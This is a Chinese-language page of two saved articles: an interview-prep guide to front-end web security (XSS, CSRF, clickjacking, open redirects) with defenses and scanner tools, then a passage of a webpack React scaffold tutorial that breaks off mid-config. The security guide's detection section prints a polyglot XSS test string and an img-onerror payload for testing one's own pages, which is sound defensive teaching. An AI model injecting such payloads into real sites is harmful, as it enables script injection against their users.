慢思考快行动 收藏了文章 · 2019-05-14

【面试篇】寒冬求职之你必须要懂的Web安全

随着互联网的发展,各种Web应用变得越来越复杂,满足了用户的各种需求的同时,各种网络安全问题也接踵而至。作为前端工程师的我们也逃不开这个问题,今天一起看一看Web前端有哪些安全问题以及我们如何去检测和防范这些问题。非前端的攻击本文不会讨论(如SQL注入,DDOS攻击等),毕竟后端也非本人擅长的领域。

QQ邮箱、新浪微博、YouTube、WordPress 和 百度 等知名网站都曾遭遇攻击,如果你从未有过安全方面的问题,不是因为你所开发的网站很安全,更大的可能是你的网站的流量非常低或者没有攻击的价值。

本文主要讨论以下几种攻击方式: XSS攻击、CSRF攻击、点击劫持以及URL跳转漏洞。

<font style="color: #ff302c">希望大家在阅读完本文之后,能够很好的回答以下几个面试题。</font>

1.前端有哪些攻击方式?

2.什么是XSS攻击?XSS攻击有几种类型?如果防范XSS攻击?

3.什么是CSRF攻击?如何防范CSRF攻击

4.如何检测网站是否安全?

在开始之前,建议大家先clone代码,我为大家准备好了示例代码,并且写了详细的注释,大家可以对照代码来理解每一种攻击以及如何去防范攻击,毕竟看再多的文字,都不如实操。(Readme中详细得写了操作步骤):https://github.com/YvetteLau/...

更多优质文章可戳:https://github.com/YvetteLau/...

1. XSS攻击

XSS(Cross-Site Scripting,跨站脚本攻击)是一种代码注入攻击。攻击者在目标网站上注入恶意代码,当被攻击者登陆网站时就会执行这些恶意代码,这些脚本可以读取 cookie,session tokens,或者其它敏感的网站信息,对用户进行钓鱼欺诈,甚至发起蠕虫攻击等。

XSS 的本质是:恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。由于直接在用户的终端执行,恶意代码能够直接获取用户的信息,利用这些信息冒充用户向网站发起攻击者定义的请求。

XSS分类

根据攻击的来源,XSS攻击可以分为存储型(持久性)、反射型(非持久型)和DOM型三种。下面我们来详细了解一下这三种XSS攻击:

1.1 反射型XSS

当用户点击一个恶意链接,或者提交一个表单,或者进入一个恶意网站时,注入脚本进入被攻击者的网站。Web服务器将注入脚本,比如一个错误信息,搜索结果等,未进行过滤直接返回到用户的浏览器上。

反射型 XSS 的攻击步骤:
  1. 攻击者构造出特殊的 URL,其中包含恶意代码。
  2. 用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。

POST 的内容也可以触发反射型 XSS,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见。

查看反射型攻击示例

请戳: https://github.com/YvetteLau/...

根据 README.md 的提示进行操作(真实情况下是需要诱导用户点击的,上述代码仅是用作演示)。

注意ChromeSafari 能够检测到 url 上的xss攻击,将网页拦截掉,但是其它浏览器不行,如Firefox

如果不希望被前端拿到cookie,后端可以设置 httpOnly (不过这不是 XSS攻击 的解决方案,只能降低受损范围)

如何防范反射型XSS攻击

对字符串进行编码。

对url的查询参数进行转义后再输出到页面。

app.get('/welcome', function(req, res) {
    //对查询参数进行编码,避免反射型 XSS攻击
    res.send(`${encodeURIComponent(req.query.type)}`); 
});

1.2 DOM 型 XSS

DOM 型 XSS 攻击,实际上就是前端 JavaScript 代码不够严谨,把不可信的内容插入到了页面。在使用 .innerHTML.outerHTML.appendChilddocument.write()等API时要特别小心,不要把不可信的数据作为 HTML 插到页面上,尽量使用 .innerText.textContent.setAttribute() 等。

DOM 型 XSS 的攻击步骤:
  1. 攻击者构造出特殊数据,其中包含恶意代码。
  2. 用户浏览器执行了恶意代码。
  3. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
如何防范 DOM 型 XSS 攻击

防范 DOM 型 XSS 攻击的核心就是对输入内容进行转义(DOM 中的内联事件监听器和链接跳转都能把字符串作为代码运行,需要对其内容进行检查)。

1.对于url链接(例如图片的src属性),那么直接使用 encodeURIComponent 来转义。

2.非url,我们可以这样进行编码:

function encodeHtml(str) {
    return str.replace(/"/g, '&quot;')
            .replace(/'/g, '&apos;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;');
}

DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞。

查看DOM型XSS攻击示例(根据readme提示查看)

请戳: https://github.com/YvetteLau/...

1.3 存储型XSS

恶意脚本永久存储在目标服务器上。当浏览器请求数据时,脚本从服务器传回并执行,影响范围比反射型和DOM型XSS更大。存储型XSS攻击的原因仍然是没有做好数据过滤:前端提交数据至服务端时,没有做好过滤;服务端在接受到数据时,在存储之前,没有做过滤;前端从服务端请求到数据,没有过滤输出。

存储型 XSS 的攻击步骤:
  1. 攻击者将恶意代码提交到目标网站的数据库中。
  2. 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。

如何防范存储型XSS攻击:
  1. 前端数据传递给服务器之前,先转义/过滤(防范不了抓包修改数据的情况)
  2. 服务器接收到数据,在存储到数据库之前,进行转义/过滤
  3. 前端接收到服务器传递过来的数据,在展示到页面前,先进行转义/过滤
查看存储型XSS攻击示例(根据Readme提示查看)

请戳: https://github.com/YvetteLau/...

除了谨慎的转义,我们还需要其他一些手段来防范XSS攻击:

1.Content Security Policy

在服务端使用 HTTP的 Content-Security-Policy 头部来指定策略,或者在前端设置 meta 标签。

例如下面的配置只允许加载同域下的资源:

Content-Security-Policy: default-src 'self'
<meta http-equiv="Content-Security-Policy" content="form-action 'self';">

前端和服务端设置 CSP 的效果相同,但是meta无法使用report

更多的设置可以查看 [Content-Security-Policy
](https://developer.mozilla.org...

严格的 CSP 在 XSS 的防范中可以起到以下的作用:

  1. 禁止加载外域代码,防止复杂的攻击逻辑。
  2. 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
  3. 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
  4. 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
  5. 合理使用上报可以及时发现 XSS,利于尽快修复问题。

2.输入内容长度控制

对于不受信任的输入,都应该限定一个合理的长度。虽然无法完全防止 XSS 发生,但可以增加 XSS 攻击的难度。

3.输入内容限制

对于部分输入,可以限定不能包含特殊字符或者仅能输入数字等。

4.其他安全措施

  • HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。
  • 验证码:防止脚本冒充用户提交危险操作。

1.5 XSS 检测

读到这儿,相信大家已经知道了什么是XSS攻击,XSS攻击的类型,以及如何去防范XSS攻击。但是有一个非常重要的问题是:我们如何去检测XSS攻击,怎么知道自己的页面是否存在XSS漏洞?

很多大公司,都有专门的安全部门负责这个工作,但是如果没有安全部门,作为开发者本身,该如何去检测呢?

1.使用通用 XSS 攻击字串手动检测 XSS 漏洞

如: jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

能够检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文中的 XSS 漏洞,也能检测 eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write() 等 DOM 型 XSS 漏洞,并且能绕过一些 XSS 过滤器。

<img data-original=1 onerror=alert(1)>

2.使用第三方工具进行扫描(详见最后一个章节)

__

2. CSRF

CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。

典型的CSRF攻击流程:
  1. 受害者登录A站点,并保留了登录凭证(Cookie)。
  2. 攻击者诱导受害者访问了站点B。
  3. 站点B向站点A发送了一个请求,浏览器会默认携带站点A的Cookie信息。
  4. 站点A接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是无辜的受害者发送的请求。
  5. 站点A以受害者的名义执行了站点B的请求。
  6. 攻击完成,攻击者在受害者不知情的情况下,冒充受害者完成了攻击。

一图胜千言:

CSRF的特点

1.攻击通常在第三方网站发起,如图上的站点B,站点A无法防止攻击发生。

2.攻击利用受害者在被攻击网站的登录凭证,冒充受害者提交操作;并不会去获取cookie信息(cookie有同源策略)

3.跨站请求可以用各种方式:图片URL、超链接、CORS、Form提交等等(来源不明的链接,不要点击)

运行代码,更直观了解一下

用户 loki 银行存款 10W。

用户 yvette 银行存款 1000。

我们来看看 yvette 如何通过 CSRF 攻击,将 loki 的钱偷偷转到自己的账户中,并根据提示,查看如何去防御CSRF攻击。

请戳: https://github.com/YvetteLau/... [根据readme中的CSRF部分进行操作]

CSRF 攻击防御

1. 添加验证码(体验不好)

验证码能够防御CSRF攻击,但是我们不可能每一次交互都需要验证码,否则用户的体验会非常差,但是我们可以在转账,交易等操作时,增加验证码,确保我们的账户安全。

2. 判断请求的来源:检测Referer(并不安全,Referer可以被更改)

`Referer` 可以作为一种辅助手段,来判断请求的来源是否是安全的,但是鉴于 `Referer` 本身是可以被修改的,因为不能仅依赖于  `Referer`

3. 使用Token(主流)

CSRF攻击之所以能够成功,是因为服务器误把攻击者发送的请求当成了用户自己的请求。那么我们可以要求所有的用户请求都携带一个CSRF攻击者无法获取到的Token。服务器通过校验请求是否携带正确的Token,来把正常的请求和攻击的请求区分开。跟验证码类似,只是用户无感知。

- 服务端给用户生成一个token,加密后传递给用户
- 用户在提交请求时,需要携带这个token
- 服务端验证token是否正确

4. Samesite Cookie属性

为了从源头上解决这个问题,Google起草了一份草案来改进HTTP协议,为Set-Cookie响应头新增Samesite属性,它用来标明这个 Cookie是个“同站 Cookie”,同站Cookie只能作为第一方Cookie,不能作为第三方Cookie,Samesite 有两个属性值,分别是 Strict 和 Lax。

部署简单,并能有效防御CSRF攻击,但是存在兼容性问题。

Samesite=Strict

Samesite=Strict 被称为是严格模式,表明这个 Cookie 在任何情况都不可能作为第三方的 Cookie,有能力阻止所有CSRF攻击。此时,我们在B站点下发起对A站点的任何请求,A站点的 Cookie 都不会包含在cookie请求头中。

**Samesite=Lax**

`Samesite=Lax` 被称为是宽松模式,与 Strict 相比,放宽了限制,允许发送安全 HTTP 方法带上 Cookie,如 `Get` / `OPTIONS` 、`HEAD` 请求.

但是不安全 HTTP 方法,如: `POST`, `PUT`, `DELETE` 请求时,不能作为第三方链接的 Cookie

为了更好的防御CSRF攻击,我们可以组合使用以上防御手段。

3. 点击劫持

点击劫持是指在一个Web页面中隐藏了一个透明的iframe,用外层假页面诱导用户点击,实际上是在隐藏的frame上触发了点击事件进行一些用户不知情的操作。

典型点击劫持攻击流程

  1. 攻击者构建了一个非常有吸引力的网页【不知道哪些内容对你们来说有吸引力,我就不写页面了,偷个懒】
  2. 将被攻击的页面放置在当前页面的 iframe
  3. 使用样式将 iframe 叠加到非常有吸引力内容的上方
  4. 将iframe设置为100%透明
  5. 你被诱导点击了网页内容,你以为你点击的是*,而实际上,你成功被攻击了。

点击劫持防御

1. frame busting

Frame busting

if ( top.location != window.location ){
    top.location = window.location
}

需要注意的是: HTML5中iframe的 sandbox 属性、IE中iframe的security 属性等,都可以限制iframe页面中的JavaScript脚本执行,从而可以使得 frame busting 失效。

2. X-Frame-Options

X-FRAME-OPTIONS是微软提出的一个http头,专门用来防御利用iframe嵌套的点击劫持攻击。并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。

可以设置为以下值:

  • DENY: 拒绝任何域加载
  • SAMEORIGIN: 允许同源域下加载
  • ALLOW-FROM: 可以定义允许frame加载的页面地址

4. URL跳转漏洞

URL 跳转漏洞是指后台服务器在告知浏览器跳转时,未对客户端传入的重定向地址进行合法性校验,导致用户浏览器跳转到钓鱼页面的一种漏洞。

URL跳转一般有以下几种实现方式

  1. Header头跳转
  2. Javascript跳转
  3. META标签跳转

URL跳转漏洞防御

之所以会出现跳转 URL 漏洞,就是因为服务端没有对客户端传递的跳转地址进行合法性校验,所以,预防这种攻击的方式,就是对客户端传递过来的跳转 URL 进行校验。

1.referer的限制

如果确定传递URL参数进入的来源,我们可以通过该方式实现安全限制,保证该URL的有效性,避免恶意用户自己生成跳转链接

2.加入有效性验证Token

保证所有生成的链接都是来自于可信域,通过在生成的链接里加入用户不可控的token对生成的链接进行校验,可以避免用户生成自己的恶意链接从而被利用。

安全扫描工具

上面我们介绍了几种常见的前端安全漏洞,也了解一些防范措施,那么我们如何发现自己网站的安全问题呢?没有安全部门的公司可以考虑下面几款开源扫码工具:

1. Arachni

Arachni是基于Ruby的开源,功能全面,高性能的漏洞扫描框架,Arachni提供简单快捷的扫描方式,只需要输入目标网站的网址即可开始扫描。它可以通过分析在扫描过程中获得的信息,来评估漏洞识别的准确性和避免误判。

Arachni默认集成大量的检测工具,可以实施 代码注入、CSRF、文件包含检测、SQL注入、命令行注入、路径遍历等各种攻击。

同时,它还提供了各种插件,可以实现表单爆破、HTTP爆破、防火墙探测等功能。

针对大型网站,该工具支持会话保持、浏览器集群、快照等功能,帮助用户更好实施渗透测试。

2. Mozilla HTTP Observatory

Mozilla HTTP Observatory,是Mozilla最近发布的一款名为Observatory的网站安全分析工具,意在鼓励开发者和系统管理员增强自己网站的安全配置。用法非常简单:输入网站URL,即可访问并分析网站HTTP标头,随后可针对网站安全性提供数字形式的分数和字母代表的安全级别。

检查的主要范围包括:
  • Cookie
  • 跨源资源共享(CORS)
  • 内容安全策略(CSP)
  • HTTP公钥固定(Public Key Pinning)
  • HTTP严格安全传输(HSTS)状态
  • 是否存在HTTP到HTTPs的自动重定向
  • 子资源完整性(Subresource Integrity)
  • X-Frame-Options
  • X-XSS-Protection

3. w3af

W3af是一个基于Python的Web应用安全扫描器。可帮助开发人员,有助于开发人员和测试人员识别Web应用程序中的漏洞。

扫描器能够识别200多个漏洞,包括跨站点脚本、SQL注入和操作系统命令。

参考文章:

[1] https://github.com/0xsobky/Ha...

[2] https://tech.meituan.com/2018...

[3] https://zhuanlan.zhihu.com/p/...

[4] https://mp.weixin.qq.com/s/up...

[5] https://juejin.im/post/5b4e0c...

[6] https://juejin.im/post/5c8a33...

[7] https://github.com/OWASP/Chea...

后续写作计划(写作顺序不定)

1.《寒冬求职季之你必须要懂的原生JS》(下)

2.《寒冬求职季之你必须要知道的CSS》

3.《寒冬求职季之你必须要懂的一些浏览器知识》

4.《寒冬求职季之你必须要知道的性能优化》

5.《寒冬求职季之你必须要懂的webpack原理》

针对React技术栈:

1.《寒冬求职季之你必须要懂的React》系列

2.《寒冬求职季之你必须要懂的ReactNative》系列

编写本文,虽然花费了很多时间,但是在这个过程中,我也学习到了很多知识,谢谢各位小伙伴愿意花费宝贵的时间阅读本文,如果本文给了您一点帮助或者是启发,请不要吝啬你的赞和Star,您的肯定是我前进的最大动力。https://github.com/YvetteLau/...

推荐关注本人公众号:

clipboard.png

查看原文

慢思考快行动 收藏了文章 · 2019-05-14

9102年:手写一个React脚手架 【优化极致版】

webpack马上要出5了,完全手写一个优化后的脚手架是不可或缺的技能。
  • 本文书写时间 2019年5月9日 , webpack版本 4.30.0最新版本
  • 本人所有代码均手写,亲自试验过可以运行达到优化效果。
  • 欢迎关注我的专栏 《前端进阶》 以后都是高赞高质量文章
  • 要转载必须联系本人经过同意才可转载 谢谢!
  • 杜绝5分钟的技术,我们先深入原理再写配置,那会简单很多。
我这套代码,在开发环境中性能不是完美的,但是构建速度打包生产环境代码是极快的,请你一定要去看我的git仓库,现在已经加入了项目实践,也在里面,可以的话给个star

实现需求:

    • 识别JSX文件
    • tree shaking 摇树优化 删除掉无用代码
    • 识别 async / await 和 箭头函数
    • PWA功能,热刷新,安装后立即接管浏览器 离线后仍让可以访问网站 还可以在手机上添加网站到桌面使用
    • preload 预加载资源 prefetch按需请求资源
    • CSS模块化,不怕命名冲突
    • 小图片的base64处理
    • 文件后缀省掉jsx js json
    • 实现React懒加载,按需加载 , 代码分割 并且支持服务端渲染
    • 支持less sass stylus等预处理
    • code spliting 优化首屏加载时间 不让一个文件体积过大
    • 加入dns-prefetchpreload预请求必要的资源,加快首屏渲染。
    • 加入prerender,极大加快首屏渲染速度。
    • 提取公共代码,打包成一个chunk
    • 每个chunk有对应的chunkhash,每个文件有对应的contenthash,方便浏览器区别缓存
    • 图片压缩
    • CSS压缩
    • 增加CSS前缀 兼容各种浏览器
    • 对于各种不同文件打包输出指定文件夹下
    • 缓存babel的编译结果,加快编译速度
    • 每个入口文件,对应一个chunk,打包出来后对应一个文件 也是code spliting
    • 删除HTML文件的注释等无用内容
    • 每次编译删除旧的打包代码
    • CSS文件单独抽取出来
    • 让babel不仅缓存编译结果,还在第一次编译后开启多线程编译,极大加快构建速度
    • 等等....
    • webpack中文官网的标语是 :让一切都变得简单

      图片描述

    概念:

    本质上,webpack 是一个现代 JavaScript 应用程序的静态模块打包器(module bundler)。当 webpack 处理应用程序时,它会递归地构建一个依赖关系图(dependency graph),其中包含应用程序需要的每个模块,然后将所有这些模块打包成一个或多个 bundle

    webpack v4.0.0 开始,可以不用引入一个配置文件。然而,webpack 仍然还是高度可配置的。在开始前你需要先理解四个核心概念:

    • 入口(entry)
    • 输出(output)
    • loader
    • 插件(plugins)

    本文旨在给出这些概念的高度概述,同时提供具体概念的详尽相关用例。

    让我们一起来复习一下最基础的Webpack知识,如果你是高手,那么请直接忽略这些往下看吧....
    • 入口

      • 入口起点`(entry point)指示 webpack 应该使用哪个模块,来作为构建其内部依赖图的开始。进入入口起点后,webpack 会找出有哪些模块和库是入口起点(直接和间接)依赖的。
      • 每个依赖项随即被处理,最后输出到称之为 bundles 的文件中,我们将在下一章节详细讨论这个过程。
      • 可以通过在 webpack 配置中配置 entry 属性,来指定一个入口起点(或多个入口起点)。默认值为 ./src
      • 接下来我们看一个 entry 配置的最简单例子:

        webpack.config.js
        
        module.exports = {
          entry: './path/to/my/entry/file.js'
        };
      • 入口可以是一个对象,也可以是一个纯数组

        entry: {
            app: ['./src/index.js', './src/index.html'],
            vendor: ['react'] 
        },
        entry: ['./src/index.js', './src/index.html'],
      • 有人可能会说,入口怎么放HTML文件,因为开发模式下热更新如果不设置入口为HTML,那么更改了HTML文件内容,是不会刷新页面的,需要手动刷新,所以这里给了入口HTML文件,一个细节。
    • 出口(output)

      • output 属性告诉 webpack 在哪里输出它所创建的 bundles,以及如何命名这些文件,默认值为 ./dist。基本上,整个应用程序结构,都会被编译到你指定的输出路径的文件夹中。你可以通过在配置中指定一个 output 字段,来配置这些处理过程:
        webpack.config.js
        
        const path = require('path');
        
        module.exports = {
          entry: './path/to/my/entry/file.js',
          output: {
            path: path.resolve(__dirname, 'dist'),
            filename: 'my-first-webpack.bundle.js'
          }
        };

    在上面的示例中,我们通过 output.filenameoutput.path 属性,来告诉 webpack bundle 的名称,以及我们想要 bundle 生成(emit)到哪里。可能你想要了解在代码最上面导入的 path 模块是什么,它是一个 Node.js 核心模块,用于操作文件路径。

    • loader

      • loader 让 webpack 能够去处理那些非 JavaScript 文件(webpack 自身只理解 JavaScript)。loader 可以将所有类型的文件转换为 webpack 能够处理的有效模块,然后你就可以利用 webpack 的打包能力,对它们进行处理。
      • 本质上,webpack loader 将所有类型的文件,转换为应用程序的依赖图(和最终的 bundle)可以直接引用的模块。
      • 注意,loader 能够 import 导入任何类型的模块(例如 .css 文件),这是 webpack 特有的功能,其他打包程序或任务执行器的可能并不支持。我们认为这种语言扩展是有很必要的,因为这可以使开发人员创建出更准确的依赖关系图。
      • 在更高层面,在 webpack 的配置中 loader 有两个目标:
      • test 属性,用于标识出应该被对应的 loader 进行转换的某个或某些文件。
      • use 属性,表示进行转换时,应该使用哪个 loader。

            webpack.config.js
            
            const path = require('path');
            
            const config = {
              output: {
                filename: 'my-first-webpack.bundle.js'
              },
              module: {
                rules: [
                  { test: /\.txt$/, use: 'raw-loader' }
                ]
              }
            };
            
            module.exports = config;
      • 以上配置中,对一个单独的 module 对象定义了 rules 属性,里面包含两个必须属性:test 和 use。这告诉 webpack 编译器(compiler) 如下信息:
      • “嘿,webpack 编译器,当你碰到「在 require()/import 语句中被解析为 '.txt' 的路径」时,在你对它打包之前,先使用 raw-loader转换一下。”
      • 重要的是要记得,在 webpack 配置中定义 loader 时,要定义在 module.rules 中,而不是 rules。然而,在定义错误时 webpack 会给出严重的警告。为了使你受益于此,如果没有按照正确方式去做,webpack 会“给出严重的警告”
      • loader 还有更多我们尚未提到的具体配置属性。
      • 这里引用这位作者的优质文章内容,手写一个loaderplugin手写一个loader和plugin

    高潮来了 ,webpack的编译原理 ,为什么要先学学习原理? 因为你起码得知道你写的是干什么的!

    • webpack打包原理

      • 识别入口文件
      • 通过逐层识别模块依赖。(Commonjs、amd或者es6的import,webpack都会对其进行分析。来获取代码的依赖)
      • webpack做的就是分析代码。转换代码,编译代码,输出代码
      • 最终形成打包后的代码
      • 这些都是webpack的一些基础知识,对于理解webpack的工作机制很有帮助。
    • 什么是loader

      • loader是文件加载器,能够加载资源文件,并对这些文件进行一些处理,诸如编译、压缩等,最终一起打包到指定的文件中
      • 处理一个文件可以使用多个loaderloader的执行顺序是和本身的顺序是相反的,即最后一个loader最先执行,第一个loader最后执行。
      • 第一个执行的loader接收源文件内容作为参数,其他loader接收前一个执行的loader的返回值作为参数。最后执行的loader会返回此模块的JavaScript源码
      • 在使用多个loader处理文件时,如果要修改outputPath输出目录,那么请在最上面的loader中options设置
    • 什么是plugin?

      • Webpack 运行的生命周期中会广播出许多事件,Plugin 可以监听这些事件,在合适的时机通过 Webpack 提供的 API 改变输出结果。
      • plugin和loader的区别是什么?
      • 对于loader,它就是一个转换器,将A文件进行编译形成B文件,这里操作的是文件,比如将A.scss或A.less转变为B.css,单纯的文件转换过程
      • plugin是一个扩展器,它丰富了wepack本身,针对是loader结束后,webpack打包的整个过程,它并不直接操作文件,而是基于事件机制工作,会监听webpack打包过程中的某些节点,执行广泛的任务。
    • webpack的运行

      • webpack 启动后,在读取配置的过程中会先执行 new MyPlugin(options) 初始化一个 MyPlugin 获得其实例。在初始化compiler 对象后,再调用 myPlugin.apply(compiler) 给插件实例传入 compiler 对象。插件实例在获取到 compiler 对象后,就可以通过 compiler.plugin(事件名称, 回调函数) 监听到 Webpack 广播出来的事件。并且可以通过 compiler 对象去操作 webpack
      • 看到这里可能会问compiler是啥,compilation又是啥?
      • Compiler 对象包含了 Webpack 环境所有的的配置信息,包含 options,loaders,plugins 这些信息,这个对象在 Webpack 启动时候被实例化,它是全局唯一的,可以简单地把它理解为 Webpack 实例;
      • Compilation 对象包含了当前的模块资源、编译生成资源、变化的文件等。当 Webpack 以开发模式运行时,每当检测到一个文件变化,一次新的 Compilation 将被创建。Compilation 对象也提供了很多事件回调供插件做扩展。通过 Compilation 也能读取到 Compiler 对象。
      • CompilerCompilation 的区别在于:
      • Compiler 代表了整个 Webpack 从启动到关闭的生命周期,而 Compilation 只是代表了一次新的编译。
    • 事件流

      • webpack 通过 Tapable 来组织这条复杂的生产线。
      • webpack 的事件流机制保证了插件的有序性,使得整个系统扩展性很好。
      • webpack的事件流机制应用了观察者模式,和 Node.js 中的 EventEmitter 非常相似。

    下面正式开始开发环境的配置:

    • 入口设置 :

      • 设置APP,几个入口文件,即会最终分割成几个chunk
      • 在入口中配置 vendor,可以code spliting ,将这些公共的复用代码最终抽取成一个chunk,单独打包出来
      • 要想在开发模式中HMTL文件也热更新,需要加入·index.html为入口文件
        entry: {
                app: ['./src/index.js', './src/index.html'],
                vendor: ['react']  //这里还可以加入redux react-redux better-scroll等公共代码 
            },
    • output出口

      • webpack基于Node.js环境运行,可以使用Node.jsAPIpath模块的resolve方法
      • 对输出的JS文件,加入contenthash标示,让浏览器缓存文件,区别版本。
         output: {
                filename: '[name].[contenthash:8].js',
                path: resolve(__dirname, '../dist')
            },
    • mode: 'development' 模式选择,这里直接设置成开发模式,先从开发模式开始。
    • resolve解析配置,为了为了给所有文件后缀省掉 js jsx json,加入配置

      resolve: {
          extensions: [".js", ".json", ".jsx"]
      }
    • 加入插件 热更新pluginhtml-webpack-plugin

         
         const HtmlWebpackPlugin = require('html-webpack-plugin')
         const webpack = require('webpack')
         new HtmlWebpackPlugin({
                 template: './src/index.html'
             }),
         new webpack.HotModuleReplacementPlugin(),
    • 加入代码分割,开发模式也需要代码分割,性能优化
    optimization: {
            runtimeChunk: true,
            splitChunks: {
                chunks: 'all'
            }
        }
    • 加入 babel-loader 还有 解析JSX ES6语法的 babel preset

      • @babel/preset-react解析 jsx语法
      • @babel/preset-env解析es6语法
      • @babel/plugin-syntax-dynamic-import解析react-loadableimport按需加载,附带code spliting功能
      • ["import", { libraryName: "antd-mobile", style: true }], Antd-mobile的按需加载
    {
                                loader: 'babel-loader',
                                options: {   //jsx语法
                                    presets: ["@babel/preset-react",
                                        //tree shaking 按需加载babel-polifill
                                        ["@babel/preset-env", { "modules": false, "useBuiltIns": "false", "corejs": 2 }]],
                                    plugins: [
                                        //支持import 懒加载 
                                        "@babel/plugin-syntax-dynamic-import",
                                        //andt-mobile按需加载  true是less,如果不用less style的值可以写'css' 
                                        ["import", { libraryName: "antd-mobile", style: true }],
                                        //识别class组件
                                        ["@babel/plugin-proposal-class-properties", { "loose": true }],
                                    ],
                                    cacheDirectory: true
                                },
                            }
    • 加入thread-loader,在babel首次编译后开启多线程
    
        const os = require('os')
        {
                loader: 'thread-loader',
                options: {
                    workers: os.cpus().length   
                         }
        }
    
    
    
    
    • React的按需加载,附带代码分割功能 ,每个按需加载的组件打包后都会被单独分割成一个文件
    
            import React from 'react'
            import loadable from 'react-loadable'
            import Loading from '../loading' 
            const LoadableComponent = loadable({
                loader: () => import('../Test/index.jsx'),
                loading: Loading,
            });
            class Assets extends React.Component {
                render() {
                    return (
                        <div>
                            <div>这即将按需加载</div>
                            <LoadableComponent />
                        </div>
                    )
                }
            }
            
            export default Assets
    
    • 加入html-loader识别html文件
        {
        test: /\.(html)$/,
        loader: 'html-loader'
        }
    • 加入eslint-loader
            {
            enforce:'pre',
            test:/\.js$/,
            exclude:/node_modules/,
            include:resolve(__dirname,'/src/js'),
            loader:'eslint-loader'
            }
    • 开发模式结束 代码在下面的git仓库里

    必须了解的webpack热更新原理 :

    1620

    • webpack的热更新又称热替换(Hot Module Replacement),缩写为HMR。 这个机制可以做到不用刷新浏览器而将新变更的模块替换掉旧的模块。

    • 首先要知道server端和client端都做了处理工作

      • 第一步,在 webpack 的 watch 模式下,文件系统中某一个文件发生修改,webpack 监听到文件变化,根据配置文件对模块重新编译打包,并将打包后的代码通过简单的 JavaScript 对象保存在内存中。
      • 第二步是 webpack-dev-server webpack 之间的接口交互,而在这一步,主要是 dev-server 的中间件 webpack-dev-middleware 和 webpack 之间的交互,webpack-dev-middleware 调用 webpack 暴露的 API对代码变化进行监控,并且告诉 webpack,将代码打包到内存中。
      • 第三步是 webpack-dev-server 对文件变化的一个监控,这一步不同于第一步,并不是监控代码变化重新打包。当我们在配置文件中配置了devServer.watchContentBase 为 true 的时候,Server 会监听这些配置文件夹中静态文件的变化,变化后会通知浏览器端对应用进行 live reload。注意,这儿是浏览器刷新,和 HMR 是两个概念。
      • 第四步也是 webpack-dev-server 代码的工作,该步骤主要是通过 sockjs(webpack-dev-server 的依赖)在浏览器端和服务端之间建立一个 websocket 长连接,将 webpack 编译打包的各个阶段的状态信息告知浏览器端,同时也包括第三步中 Server 监听静态文件变化的信息。浏览器端根据这些 socket 消息进行不同的操作。当然服务端传递的最主要信息还是新模块的 hash 值,后面的步骤根据这一 hash 值来进行模块热替换。
      • webpack-dev-server/client 端并不能够请求更新的代码,也不会执行热更模块操作,而把这些工作又交回给了 webpack,webpack/hot/dev-server 的工作就是根据 webpack-dev-server/client 传给它的信息以及 dev-server 的配置决定是刷新浏览器呢还是进行模块热更新。当然如果仅仅是刷新浏览器,也就没有后面那些步骤了。
      • HotModuleReplacement.runtime 是客户端 HMR 的中枢,它接收到上一步传递给他的新模块的 hash 值,它通过 JsonpMainTemplate.runtime 向 server 端发送 Ajax 请求,服务端返回一个 json,该 json 包含了所有要更新的模块的 hash 值,获取到更新列表后,该模块再次通过 jsonp 请求,获取到最新的模块代码。这就是上图中 7、8、9 步骤。
      • 而第 10 步是决定 HMR 成功与否的关键步骤,在该步骤中,HotModulePlugin 将会对新旧模块进行对比,决定是否更新模块,在决定更新模块后,检查模块之间的依赖关系,更新模块的同时更新模块间的依赖引用。
      • 最后一步,当 HMR 失败后,回退到 live reload 操作,也就是进行浏览器刷新来获取最新打包代码。
      • 参考文章 webpack面试题-腾讯云

    正式开始生产环节:

    • 加入 WorkboxPluginPWA的插件

      • pwa这个技术其实要想真正用好,还是需要下点功夫,它有它的生命周期,以及它在浏览器中热更新带来的副作用等,需要认真研究。可以参考百度的lavas框架发展历史~
    const WorkboxPlugin = require('workbox-webpack-plugin')
    
    
        new WorkboxPlugin.GenerateSW({ 
                    clientsClaim: true, //让浏览器立即servece worker被接管
                    skipWaiting: true,  // 更新sw文件后,立即插队到最前面 
                    importWorkboxFrom: 'local',
